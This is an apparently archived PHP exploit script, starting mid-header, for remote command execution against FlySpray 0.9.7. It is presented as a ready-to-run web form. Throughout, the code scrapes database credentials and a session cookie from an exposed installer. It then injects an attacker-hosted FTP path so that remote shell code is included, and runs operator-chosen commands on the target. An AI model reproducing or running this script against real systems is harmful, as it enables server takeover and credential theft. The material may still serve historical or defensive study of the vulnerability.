works against PHP5 #
# usage: launch from Apache, fill in requested fields, then go! #
# #
# Sun-Tzu: "Therefore the good fighter will be terrible in his onset, and #
# prompt in his decision" #
/* short explaination:
found this bug in FlySpray, exploiting EGS Enterprise Groupware System 1.0
rc4, see this link for details:
http://retrogod.altervista.org/egs_10rc4_php5_incl_xpl.html */
error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout", 2);
ob_implicit_flush (1);
echo' *** FlySpray 0.9.7 remote commands execution exploit **
*** FlySpray 0.9.7 remote commands execution exploit **
a
script by rgod at
http://retrogod.altervista.org
';
function show($headeri)
{
$ii=0;
$ji=0;
$ki=0;
$ci=0;
echo '';
while ($ii <= strlen($headeri)-1)
{
$datai=dechex(ord($headeri[$ii]));
if ($ji==16) {
$ji=0;
$ci++;
echo "| | ";
for ($li=0; $li<=15; $li++)
{ echo "".htmlentities($headeri[$li+$ki])." | ";
}
$ki=$ki+16;
echo "
";
}
if (strlen($datai)==1) {echo "| 0".htmlentities($datai)." | ";} else
{echo "".$datai." | ";}
$ii++;
$ji++;
}
for ($li=1; $li<=(16 - (strlen($headeri) % 16)+1); $li++)
{ echo " | ";
}
for ($li=$ci*16; $li<=strlen($headeri); $li++)
{ echo "".htmlentities($headeri[$li])." | ";
}
echo "
";
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
function sendpacket() //if you have sockets module loaded, 2x speed! if not,load
//next function to send packets
{
global $proxy, $host, $port, $packet, $html, $proxy_regex;
$socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
if ($socket < 0) {
echo "socket_create() failed: reason: " . socket_strerror($socket) . "
";
}
else
{ $c = preg_match($proxy_regex,$proxy);
if (!$c) {echo 'Not a valid prozy...';
die;
}
echo "OK.
";
echo "Attempting to connect to ".$host." on port ".$port."...
";
if ($proxy=='')
{
$result = socket_connect($socket, $host, $port);
}
else
{
$parts =explode(':',$proxy);
echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...
';
$result = socket_connect($socket, $parts[0],$parts[1]);
}
if ($result < 0) {
echo "socket_connect() failed.\r\nReason: (".$result.") " . socket_strerror($result) . "
";
}
else
{
echo "OK.
";
$html= '';
socket_write($socket, $packet, strlen($packet));
echo "Reading response:
";
while ($out= socket_read($socket, 2048)) {$html.=$out;}
echo nl2br(htmlentities($html));
echo "Closing socket...";
socket_close($socket);
}
}
}
function sendpacketii($packet)
{
global $proxy, $host, $port, $html, $proxy_regex;
if ($proxy=='')
{$ock=fsockopen(gethostbyname($host),$port);
if (!$ock) { echo 'No response from '.htmlentities($host);
die; }
}
else
{
$c = preg_match($proxy_regex,$proxy);
if (!$c) {echo 'Not a valid prozy...';
die;
}
$parts=explode(':',$proxy);
echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...
';
$ock=fsockopen($parts[0],$parts[1]);
if (!$ock) { echo 'No response from proxy...';
die;
}
}
fputs($ock,$packet);
if ($proxy=='')
{
$html='';
while (!feof($ock))
{
$html.=fgets($ock);
}
}
else
{
$html='';
while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html)))
{
$html.=fread($ock,1);
}
}
fclose($ock);
echo nl2br(htmlentities($html));
}
$host=$_POST[host];$path=$_POST[path];
$port=$_POST[port];$FTP_LOCATION=$_POST[FTP_LOCATION];
$cmd=urlencode($_POST[cmd]);$proxy=$_POST[proxy];
echo "";
if (($host<>'') and ($path<>'') and ($cmd<>'') and ($FTP_LOCATION<>''))
{
$port=intval(trim($port));
if ($port=='') {$port=80;}
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
$host=str_replace("\r","",$host);$host=str_replace("\n","",$host);
$path=str_replace("\r","",$path);$path=str_replace("\n","",$path);
# STEP 1 -> Call the Fiyspray 0.9.7 installation script...
$packet ="GET ".$p."sql/install-0.9.7.php?p=2 HTTP/1.1\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="User-Agent: Sun-Tzu\r\n";
$packet.="Connection: Close\r\n\r\n";
show($packet);
sendpacketii($packet);
$temp=explode("basedir\" value=\"",$html);
$temp2=explode("\"",$temp[1]);
$basedir=$temp2[0];
echo "basedir -> ".htmlentities($basedir)."
";
$temp=explode("adodbpath\" value=\"",$html);
$temp2=explode("\"",$temp[1]);
$adodbpath=$temp2[0];
echo "adodbpath -> ".htmlentities($adodbpath)."
";
$temp=explode("dbhost\" value=\"",$html);
$temp2=explode("\"",$temp[1]);
$DB_HOST=$temp2[0];
echo "DB HOST -> ".htmlentities($DB_HOST)."
";
$temp=explode("dbname\" value=\"",$html);
$temp2=explode("\"",$temp[1]);
$DB_NAME=$temp2[0];
echo "DB NAME -> ".htmlentities($DB_NAME)."
";
$temp=explode("dbuser\" value=\"",$html);
$temp2=explode("\"",$temp[1]);
$DB_USER=$temp2[0];
echo "DB USER -> ".htmlentities($DB_USER)."
";
$temp=explode("dbpass\" value=\"",$html);
$temp2=explode("\"",$temp[1]);
$DB_PASS=$temp2[0];
echo "DB PASS -> ".strip_tags(htmlentities($DB_PASS))."
";
$temp=explode("Set-Cookie: ",$html);
$temp2=explode(" ",$temp[1]);
$COOKIE=$temp2[0];
echo "COOKIE -> ".htmlentities($COOKIE)."
";
# STEP 2 -> submit the ftp resource with shell code inside...
$data ="basedir=".urlencode($basedir);
$data.="&adodbpath=".urlencode($FTP_LOCATION);
$data.="&dbtype=pgsql";
$data.="&dbuser=".urlencode($DB_USER);
$data.="&dbname=".urlencode($DB_NAME);
$data.="&dbhost=".urlencode($DB_HOST);
$data.="&dbpass=".urlencode($DB_PASS);
$packet ="POST ".$p."sql/install-0.9.7.php?p=3 HTTP/1.1\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="User-Agent: Sun-Tzuuuuuuu\r\n";
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Cookie: ".$COOKIE."\r\n";
$packet.="Connection: Close\r\n\r\n";
$packet.=$data;
show($packet);
sendpacketii($packet);
# STEP 3 -> Launch commands...
$packet ="GET ".$p."sql/install-0.9.7.php?p=4&cmd=".$cmd." HTTP/1.1\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="User Agent: Sun-tzuuuuuuuuuuuu\r\n";
$packet.="Cookie: ".$COOKIE."\r\n";
$packet.="Connection: Close\r\n\r\n";
show($packet);
sendpacketii($packet);
if (eregi("HiMaster!",$html)) {echo "Exploit succeeded...";}
else {echo "Exploit failed...";}
# STEP 4 -> we don't want to D.O.S Flyspray, so put back the adodbpath value..
$data ="basedir=".urlencode($basedir);
$data.="&adodbpath=".urlencode(trim($adodbpath));
$data.="&dbtype=pgsql";
$data.="&dbuser=".urlencode($DB_USER);
$data.="&dbname=".urlencode($DB_NAME);
$data.="&dbhost=".urlencode($DB_HOST);
$data.="&dbpass=".urlencode($DB_PASS);
$packet ="POST ".$p."sql/install-0.9.7.php?p=3 HTTP/1.1\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="User-Agent: Sun-Tzoo\r\n";
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Cookie: ".$COOKIE."\r\n";
$packet.="Connection: Close\r\n\r\n";
$packet.=$data;
show($packet);
sendpacketii($packet);
}
else
{echo "Note: inside shell.php you need this code:
";
echo nl2br(htmlentities("
"))."
";
echo "Fill * required fields, optionally specify a proxy...";}
echo "";
?>
# milw0rm.com [2006-02-13]